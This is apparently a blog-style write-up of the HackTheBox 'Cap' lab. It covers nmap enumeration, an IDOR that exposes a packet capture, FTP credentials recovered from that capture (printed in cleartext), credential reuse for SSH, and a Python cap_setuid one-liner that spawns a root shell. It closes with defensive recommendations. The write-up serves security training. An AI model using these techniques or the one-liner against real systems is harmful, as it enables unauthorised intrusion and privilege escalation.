Machine Information
- Machine Name: Cap
- Difficulty: Easy
- Operating System: Linux (Ubuntu)
- Target IP: 10.10.10.245
- Attack Path: Web Enumeration → IDOR → PCAP Analysis → FTP/SSH Access → Privilege Escalation via Linux Capabilities
Introduction
Cap is an Easy-rated Linux machine from HackTheBox that demonstrates the importance of proper access controls and secure system configurations. The attack chain involves discovering an IDOR vulnerability in a web application, analyzing network traffic to extract credentials, and exploiting misconfigured Linux capabilities for privilege escalation.
This writeup walks through the complete exploitation process, from initial enumeration to obtaining root access, highlighting key techniques that are commonly encountered in real-world penetration testing scenarios.
Tools Used
- Nmap (port scanning & service enumeration)
- Web Browser (manual testing)
- Wireshark (PCAP analysis)
- FTP client (credential verification)
- SSH (remote access)
- getcap (capability enumeration)
Enumeration Phase 1
First I ran the command
nmap -p- --min-rate 1000 -sV -sC 10.10.10.245 -oN nmap_initial.txt
Here i am telling nmap to:
-p-: Scan all 65,535 ports.--min-rate 1000: Go fast.-sV: Determine service versions (Is it Apache? Nginx?).-sC: Run default scripts (Is anonymous login allowed?).-oN: Save output to a file. Here's what i got from the abovenmapscan:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-11-27 07:18 UTC
Nmap scan report for 10.10.10.245
Host is up (0.087s latency).
Not shown: 65523 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
| 256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
|_ 256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
80/tcp open http gunicorn
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 404 NOT FOUND
| Server: gunicorn
| Date: Thu, 27 Nov 2025 06:50:44 GMT
| Connection: close
| Content-Type: text/html; charset=utf-8
| Content-Length: 232
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
| <title>404 Not Found</title>
| <h1>Not Found</h1>
| <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
| GetRequest:
| HTTP/1.0 200 OK
| Server: gunicorn
| Date: Thu, 27 Nov 2025 06:50:37 GMT
| Connection: close
| Content-Type: text/html; charset=utf-8
| Content-Length: 19386
| <!DOCTYPE html>
| <html class="no-js" lang="en">
| <head>
| <meta charset="utf-8">
| <meta http-equiv="x-ua-compatible" content="ie=edge">
| <title>Security Dashboard</title>
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <link rel="shortcut icon" type="image/png" href="/static/images/icon/favicon.ico">
| <link rel="stylesheet" href="/static/css/bootstrap.min.css">
| <link rel="stylesheet" href="/static/css/font-awesome.min.css">
| <link rel="stylesheet" href="/static/css/themify-icons.css">
| <link rel="stylesheet" href="/static/css/metisMenu.css">
| <link rel="stylesheet" href="/static/css/owl.carousel.min.css">
| <link rel="stylesheet" href="/static/css/slicknav.min.css">
| <!-- amchar
| HTTPOptions:
| HTTP/1.0 200 OK
| Server: gunicorn
| Date: Thu, 27 Nov 2025 06:50:38 GMT
| Connection: close
| Content-Type: text/html; charset=utf-8
| Allow: OPTIONS, GET, HEAD
| Content-Length: 0
| RTSPRequest:
| HTTP/1.1 400 Bad Request
| Connection: close
| Content-Type: text/html
| Content-Length: 196
| <html>
| <head>
| <title>Bad Request</title>
| </head>
| <body>
| <h1><p>Bad Request</p></h1>
| Invalid HTTP Version 'Invalid HTTP Version: 'RTSP/1.0''
| </body>
|_ </html>
|_http-server-header: gunicorn
|_http-title: Security Dashboard
1284/tcp filtered iee-qfx
1619/tcp filtered xs-openstorage
17872/tcp filtered unknown
21082/tcp filtered unknown
22442/tcp filtered unknown
22928/tcp filtered unknown
42003/tcp filtered unknown
48052/tcp filtered unknown
62268/tcp filtered unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.94SVN%I=7%D=11/27%Time=6927FB7F%P=aarch64-unknown-linux-
SF:gnu%r(GetRequest,2A4C,"HTTP/1\.0\x20200\x20OK\r\nServer:\x20gunicorn\r\
SF:nDate:\x20Thu,\x2027\x20Nov\x202025\x2006:50:37\x20GMT\r\nConnection:\x
SF:20close\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Leng
SF:th:\x2019386\r\n\r\n<!DOCTYPE\x20html>\n<html\x20class=\"no-js\"\x20lan
SF:g=\"en\">\n\n<head>\n\x20\x20\x20\x20<meta\x20charset=\"utf-8\">\n\x20\
SF:x20\x20\x20<meta\x20http-equiv=\"x-ua-compatible\"\x20content=\"ie=edge
SF:\">\n\x20\x20\x20\x20<title>Security\x20Dashboard</title>\n\x20\x20\x20
SF:\x20<meta\x20name=\"viewport\"\x20content=\"width=device-width,\x20init
SF:ial-scale=1\">\n\x20\x20\x20\x20<link\x20rel=\"shortcut\x20icon\"\x20ty
SF:pe=\"image/png\"\x20href=\"/static/images/icon/favicon\.ico\">\n\x20\x2
SF:0\x20\x20<link\x20rel=\"stylesheet\"\x20href=\"/static/css/bootstrap\.m
SF:in\.css\">\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20href=\"/stat
SF:ic/css/font-awesome\.min\.css\">\n\x20\x20\x20\x20<link\x20rel=\"styles
SF:heet\"\x20href=\"/static/css/themify-icons\.css\">\n\x20\x20\x20\x20<li
SF:nk\x20rel=\"stylesheet\"\x20href=\"/static/css/metisMenu\.css\">\n\x20\
SF:x20\x20\x20<link\x20rel=\"stylesheet\"\x20href=\"/static/css/owl\.carou
SF:sel\.min\.css\">\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20href=\
SF:"/static/css/slicknav\.min\.css\">\n\x20\x20\x20\x20<!--\x20amchar")%r(
SF:HTTPOptions,B3,"HTTP/1\.0\x20200\x20OK\r\nServer:\x20gunicorn\r\nDate:\
SF:x20Thu,\x2027\x20Nov\x202025\x2006:50:38\x20GMT\r\nConnection:\x20close
SF:\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nAllow:\x20OPTIONS,\
SF:x20GET,\x20HEAD\r\nContent-Length:\x200\r\n\r\n")%r(RTSPRequest,121,"HT
SF:TP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\nContent-Typ
SF:e:\x20text/html\r\nContent-Length:\x20196\r\n\r\n<html>\n\x20\x20<head>
SF:\n\x20\x20\x20\x20<title>Bad\x20Request</title>\n\x20\x20</head>\n\x20\
SF:x20<body>\n\x20\x20\x20\x20<h1><p>Bad\x20Request</p></h1>\n\x20\x20\x20
SF:\x20Invalid\x20HTTP\x20Version\x20'Invalid\x20HTTP\x20Version:\x20
SF:'RTSP/1\.0''\n\x20\x20</body>\n</html>\n")%r(FourOhFourR
SF:equest,189,"HTTP/1\.0\x20404\x20NOT\x20FOUND\r\nServer:\x20gunicorn\r\n
SF:Date:\x20Thu,\x2027\x20Nov\x202025\x2006:50:44\x20GMT\r\nConnection:\x2
SF:0close\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Lengt
SF:h:\x20232\r\n\r\n<!DOCTYPE\x20HTML\x20PUBLIC\x20\"-//W3C//DTD\x20HTML\x
SF:203\.2\x20Final//EN\">\n<title>404\x20Not\x20Found</title>\n<h1>Not\x20
SF:Found</h1>\n<p>The\x20requested\x20URL\x20was\x20not\x20found\x20on\x20
SF:the\x20server\.\x20If\x20you\x20entered\x20the\x20URL\x20manually\x20pl
SF:ease\x20check\x20your\x20spelling\x20and\x20try\x20again\.</p>\n");
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Here are the three main entry points (FTP, SSH, HTTP) and the analysis of above Nmap scan is like this:
- FTP (Port 21) - Potential for Anonymous Access
- Service:
vsftpd 3.0.3 - Analysis: The scan shows port 21 is open, but it does not explicitly say "Anonymous FTP login allowed" in the script output (
-sC).
- Service:
- HTTP (Port 80) - The "Gunicorn" Server
- Server:
gunicorn(Green Unicorn).- Insight: This strongly suggests the backend is written in Python (likely Flask or Django).
- Status Codes:
FourOhFourRequest-> 404 Not FoundGetRequest-> 200 OK- Title:
<title>Security Dashboard</title> - Conclusion: The website is working. The root path (
/) returns a "Security Dashboard."
- Server:
- SSH (Port 22)
- Service:
OpenSSH 8.2p1 - Analysis: This is a standard version. Unless there is a specific CVE (unlikely for Easy machines) or a weak password, I am going to need credentials first (username/password or key).
- Service:
Enumeration Phase 2
Even though Nmap didn't confirm "Anonymous FTP login allowed" in the script output (-sC) for the open port 21. I decided to manually check various combinations because Nmap sometimes miss things so it's always better to verify manually. However, no combinations seemed to be working.
┌─[user@parrot]─[~/Downloads]
└──╼ $ftp 10.10.10.245
Connected to 10.10.10.245.
220 (vsFTPd 3.0.3)
Name (10.10.10.245:user): anonymous
331 Please specify the password.
Password:
530 Login incorrect.
ftp: Login failed
ftp> exit
221 Goodbye.
┌─[user@parrot]─[~/Downloads]
└──╼ $ftp 10.10.10.245
Connected to 10.10.10.245.
220 (vsFTPd 3.0.3)
Name (10.10.10.245:user): admin
331 Please specify the password.
Password:
530 Login incorrect.
ftp: Login failed
ftp> exit
221 Goodbye.
┌─[user@parrot]─[~/Downloads]
└──╼ $ftp 10.10.10.245
Connected to 10.10.10.245.
220 (vsFTPd 3.0.3)
Name (10.10.10.245:user): user
331 Please specify the password.
Password:
530 Login incorrect.
ftp: Login failed
ftp> exit
221 Goodbye.
Moving forward the http port was open so it's a good idea to give it a try - opening IP in the browser.
- Opened
http://10.10.10.245in my browser. - I saw a dashboard and it was already logged in as user
Nathan.
- Then i explored various tabs on the left panel, i saw something inside
Security Snapshot (5 Second PCAP + Analysisi opened it.
In above screenshot if you see then it's http://10.10.10.245/data/6which is fine, unless i think ofIDOR: Insecure Direct Object ReferenceVulnerability and try changing the value from6to0.
And Boom! That actually worked.
So i decided to download the PCAP file from this page.
Now i need to analyze the file using wireshark.
Then i filter the FTP in the filter bar because FTP is an unencrypted protocol. It sends passwords in clear text unlike SSH.
Here we do see some exciting stuff such as Request: USER and Request: PASS
36 4.126500 192.168.196.1 192.168.196.16 FTP 69 Request: USER nathan
40 5.424998 192.168.196.1 192.168.196.16 FTP 78 Request: PASS Buck3tH4TF0RM3!
Now let's try to FTP login using these credentials and BOOM!
Now we have FTP access.
Here we have the User Flag. Let see if it's really that in Hackthebox.
Now let's try the same credentials for SSH access because we can't run sudo in FTP. So, in order to get the root flag we must do it, and we're already in.
Now let's run this command to search the entire filesystem for files with "capabilities" set, hiding the errors:
getcap -r / 2>/dev/null
Here's the output:
nathan@cap:~$ getcap -r / 2>/dev/null
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
There were other way to do this like a script kiddies such as running LinPEAS immediately. However, as an engineer, i should look for specific misconfiguration first. That's exactly what i did here and i hit the jackpot.
Look at this line in output above:
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
Here's the explanation:
- Normal Behaviour: When i run
python3, it runs as me (nathan). If i try to run a command that requires root inside Python, the OS blocks it. - The Vulnerability:
cap_setuidstands for Set User ID Capability. - The Exploit: This capability gives the Python binary the permission to change its own User ID (UID). It can literally say to the Linux Kernal: "Hey, I know I'm Nathan (UID 1001), but I'd like to be Root (UID 0) now." And because the capability is set, the Kernel says, "Okay."
The Exploit (Become Root)
I don't need a complex script. I just need to ask Python to switch my UID to 0 (Root) and then spawn a shell.
/usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'
Here's what it means:
import os: Import standard OS module.os.setuid(0): This is the magic. It sets my current process User ID to 0 (Root). This only works because of thatcap_setuidcapability.os.system("/bin/bash"): Spawns a new bash shell. Since the process is now ID 0, the new shell will spawn as Root.
And Boom it worked as expected!!!
Now when i run:
cat /root/root.txt
I have the root flag.

Conclusion
The Cap machine provided excellent practice in several fundamental penetration testing concepts:
Key Takeaways:
- IDOR Vulnerabilities: Always test sequential IDs and object references. A simple URL parameter change (
/data/6→/data/0) gave us access to sensitive network captures. - Network Traffic Analysis: Unencrypted protocols like FTP transmit credentials in cleartext. Wireshark and PCAP analysis remain critical skills for credential harvesting.
- Credential Reuse: The FTP credentials worked for SSH, demonstrating how password reuse across services can escalate an attack.
- Linux Capabilities Misconfiguration: The
cap_setuidcapability on Python3.8 was the privilege escalation vector. Understanding Linux capabilities is essential—they're often overlooked compared to SUID binaries.
Defensive Recommendations:
- Implement proper authorization checks (prevent IDOR)
- Use encrypted protocols (SFTP instead of FTP)
- Enforce unique credentials per service
- Audit Linux capabilities regularly:
getcap -r / 2>/dev/null - Remove unnecessary capabilities from binaries
This machine reinforced that security is a chain—one weak link (IDOR) led to credential exposure, which led to system access, which led to complete compromise through misconfiguration.
Flags Captured:
- User Flag: ✓
- Root Flag: ✓
Happy hacking!